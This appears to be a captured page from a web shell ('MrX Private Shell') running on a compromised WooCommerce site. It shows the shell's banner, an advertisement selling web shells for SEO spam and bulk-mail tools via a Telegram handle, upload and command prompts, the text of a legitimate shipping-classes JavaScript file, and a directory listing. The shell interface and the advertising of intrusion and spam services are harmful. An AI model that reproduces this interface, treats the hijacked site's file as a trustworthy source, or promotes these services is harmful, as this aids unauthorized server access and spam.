__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* global shippingClassesLocalizeScript, ajaxurl */
( function( $, data, wp, ajaxurl ) {
	$( function() {
		if ( 
			! document.getElementById( 'tmpl-wc-shipping-class-row' ) || 
			! document.getElementById( 'tmpl-wc-shipping-class-row-blank' ) 
		) {
			return;
		}

		var $tbody          = $( '.wc-shipping-class-rows' ),
			$save_button    = $( '.wc-shipping-class-save' ),
			$row_template   = wp.template( 'wc-shipping-class-row' ),
			$blank_template = wp.template( 'wc-shipping-class-row-blank' ),

			// Backbone model
			ShippingClass       = Backbone.Model.extend({
				save: function( changes ) {
					$.post( ajaxurl + ( ajaxurl.indexOf( '?' ) > 0 ? '&' : '?' ) + 'action=woocommerce_shipping_classes_save_changes', {
						wc_shipping_classes_nonce : data.wc_shipping_classes_nonce,
						changes,
					}, this.onSaveResponse, 'json' );
				},
				onSaveResponse: function( response, textStatus ) {
					if ( 'success' === textStatus ) {
						if ( response.success ) {
							shippingClass.set( 'classes', response.data.shipping_classes );
							shippingClass.trigger( 'saved:classes' );
						} else if ( response.data ) {
							window.alert( response.data );
						} else {
							window.alert( data.strings.save_failed );
						}
					}
					shippingClassView.unblock();
				}
			} ),

			// Backbone view
			ShippingClassView = Backbone.View.extend({
				rowTemplate: $row_template,
				initialize: function() {
					this.listenTo( this.model, 'saved:classes', this.render );
					$( document.body ).on( 'click', '.wc-shipping-class-add-new', { view: this }, this.configureNewShippingClass );
					$( document.body ).on( 'wc_backbone_modal_response', { view: this }, this.onConfigureShippingClassSubmitted );
					$( document.body ).on( 'wc_backbone_modal_loaded', { view: this }, this.onLoadBackboneModal );
					$( document.body ).on( 'wc_backbone_modal_validation', this.validateFormArguments );
				},
				block: function() {
					$( this.el ).block({
						message: null,
						overlayCSS: {
							background: '#fff',
							opacity: 0.6
						}
					});
				},
				unblock: function() {
					$( this.el ).unblock();
				},
				render: function() {
					var classes = _.indexBy( this.model.get( 'classes' ), 'term_id' ),
						view    = this;

					this.$el.empty();
					this.unblock();

					if ( _.size( classes ) ) {
						// Sort classes
						classes = _.sortBy( classes, function( shipping_class ) {
							return shipping_class.name;
						} );

						// Populate $tbody with the current classes
						$.each( classes, function( id, rowData ) {
							view.renderRow( rowData );
						} );
					} else {
						view.$el.append( $blank_template );
					}
				},
				renderRow: function( rowData ) {
					var view = this;
					view.$el.append( view.rowTemplate( rowData ) );
					view.initRow( rowData );
				},
				initRow: function( rowData ) {
					var view = this;
					var $tr = view.$el.find( 'tr[data-id="' + rowData.term_id + '"]');

					// Support select boxes
					$tr.find( 'select' ).each( function() {
						var attribute = $( this ).data( 'attribute' );
						$( this ).find( 'option[value="' + rowData[ attribute ] + '"]' ).prop( 'selected', true );
					} );

					// Make the rows function
					$tr.find( '.view' ).show();
					$tr.find( '.edit' ).hide();
					$tr.find( '.wc-shipping-class-edit' ).on( 'click', { view: this }, this.onEditRow );
					$tr.find( '.wc-shipping-class-delete' ).on( 'click', { view: this }, this.onDeleteRow );
				},
				configureNewShippingClass: function( event ) {
					event.preventDefault();
					const term_id = 'new-1-' + Date.now();

					$( this ).WCBackboneModal({
						template : 'wc-shipping-class-configure',
						variable : {
							term_id,
							action: 'create',
						},
						data : {
							term_id,
							action: 'create',
						}
					});
				},
				onConfigureShippingClassSubmitted: function( event, target, posted_data ) {
					if ( target === 'wc-shipping-class-configure' ) {
						const view = event.data.view;
						const model = view.model;
						const isNewRow = posted_data.term_id.includes( 'new-1-' );
						const rowData = Object.assign( {}, posted_data );

						if ( isNewRow ) {
							rowData.newRow = true;
						}
						
						view.block();

						model.save( {
							[ posted_data.term_id ]: rowData
						} );
					}
				},
				validateFormArguments: function( element, target, data ) {
					const requiredFields = [ 'name', 'description' ];
					const formIsComplete = Object.keys( data ).every( key => {
						if ( ! requiredFields.includes( key ) ) {
							return true;
						}
						if ( Array.isArray( data[ key ] ) ) {
							return data[ key ].length && !!data[ key ][ 0 ];
						}
						return !!data[ key ];
					} );
					const createButton = document.getElementById( 'btn-ok' );
					createButton.disabled = ! formIsComplete;
					createButton.classList.toggle( 'disabled', ! formIsComplete );
				},
				onEditRow: function( event ) {
					const term_id = $( this ).closest('tr').data('id');
					const model =  event.data.view.model;
					const classes = _.indexBy( model.get( 'classes' ), 'term_id' );
					const rowData = classes[ term_id ];
					
					event.preventDefault();
					$( this ).WCBackboneModal({
						template : 'wc-shipping-class-configure',
						variable: Object.assign( { action: 'edit' }, rowData ),
						data : Object.assign( { action: 'edit' }, rowData )
					});
				},
				onLoadBackboneModal: function( event, target ) {
					if ( 'wc-shipping-class-configure' === target ) {
						const modalContent = $('.wc-backbone-modal-content');
						const term_id = modalContent.data('id');
						const model =  event.data.view.model;
						const classes = _.indexBy( model.get( 'classes' ), 'term_id' );
						const rowData = classes[ term_id ];

						if ( rowData ) {
							// Support select boxes
							$('.wc-backbone-modal-content').find( 'select' ).each( function() {
								var attribute = $( this ).data( 'attribute' );
								$( this ).find( 'option[value="' + rowData[ attribute ] + '"]' ).prop( 'selected', true );
							} );
						}
					}
					
				},
				onDeleteRow: function( event ) {
					var view    = event.data.view,
						model   = view.model,
						term_id = $( this ).closest('tr').data('id');

					event.preventDefault();

					view.block();

					model.save( {
						[ term_id ]: {
							term_id,
							deleted: 'deleted',
						}
					} );
				},
			} ),
			shippingClass = new ShippingClass({
				classes: data.classes
			} ),
			shippingClassView = new ShippingClassView({
				model:    shippingClass,
				el:       $tbody
			} );

		shippingClassView.render();
	});
})( jQuery, shippingClassesLocalizeScript, wp, ajaxurl );

Filemanager

Name Type Size Permission Actions
api-keys.js File 3.89 KB 0664
api-keys.min.js File 2.23 KB 0664
backbone-modal.js File 4.35 KB 0664
backbone-modal.min.js File 2.77 KB 0664
marketplace-suggestions.js File 16.84 KB 0664
marketplace-suggestions.min.js File 6.66 KB 0664
meta-boxes-coupon.js File 2.99 KB 0664
meta-boxes-coupon.min.js File 1.61 KB 0664
meta-boxes-order.js File 54.3 KB 0664
meta-boxes-order.min.js File 32.97 KB 0664
meta-boxes-product-variation.js File 42.26 KB 0664
meta-boxes-product-variation.min.js File 22.55 KB 0664
meta-boxes-product.js File 34.25 KB 0664
meta-boxes-product.min.js File 18.04 KB 0664
meta-boxes.js File 4.88 KB 0664
meta-boxes.min.js File 2.97 KB 0664
network-orders.js File 2.34 KB 0664
network-orders.min.js File 1.25 KB 0664
order-attribution-admin.js File 1.16 KB 0664
order-attribution-admin.min.js File 730 B 0664
product-editor.js File 696 B 0664
product-editor.min.js File 298 B 0664
product-ordering.js File 2.49 KB 0664
product-ordering.min.js File 1.61 KB 0664
quick-edit.js File 7.06 KB 0664
quick-edit.min.js File 4.58 KB 0664
reports.js File 5.39 KB 0664
reports.min.js File 2.7 KB 0664
settings-views-html-settings-tax.js File 12.04 KB 0664
settings-views-html-settings-tax.min.js File 6.08 KB 0664
settings.js File 11.95 KB 0664
settings.min.js File 6.25 KB 0664
system-status.js File 5.29 KB 0664
system-status.min.js File 3.06 KB 0664
term-ordering.js File 4.57 KB 0664
term-ordering.min.js File 2.47 KB 0664
users.js File 3.78 KB 0664
users.min.js File 1.87 KB 0664
wc-brands-enhanced-select.js File 4.06 KB 0664
wc-brands-enhanced-select.min.js File 1.59 KB 0664
wc-clipboard.js File 869 B 0664
wc-clipboard.min.js File 336 B 0664
wc-customer-stock-notifications.js File 1.61 KB 0664
wc-customer-stock-notifications.min.js File 1.13 KB 0664
wc-enhanced-select.js File 13.58 KB 0664
wc-enhanced-select.min.js File 7.71 KB 0664
wc-orders.js File 1.98 KB 0664
wc-orders.min.js File 1.17 KB 0664
wc-product-export.js File 3.79 KB 0664
wc-product-export.min.js File 2.09 KB 0664
wc-product-import.js File 2.92 KB 0664
wc-product-import.min.js File 1.7 KB 0664
wc-setup.js File 10.05 KB 0664
wc-setup.min.js File 6.35 KB 0664
wc-shipping-classes.js File 6.57 KB 0664
wc-shipping-classes.min.js File 3.57 KB 0664
wc-shipping-zone-methods.js File 35.06 KB 0664
wc-shipping-zone-methods.min.js File 17.07 KB 0664
wc-shipping-zones.js File 9.23 KB 0664
wc-shipping-zones.min.js File 4.85 KB 0664
wc-status-widget-async.js File 1.28 KB 0664
wc-status-widget-async.min.js File 519 B 0664
wc-status-widget.js File 1.78 KB 0664
wc-status-widget.min.js File 1.05 KB 0664
woocommerce_admin.js File 22.38 KB 0664
woocommerce_admin.min.js File 11.98 KB 0664
Filemanager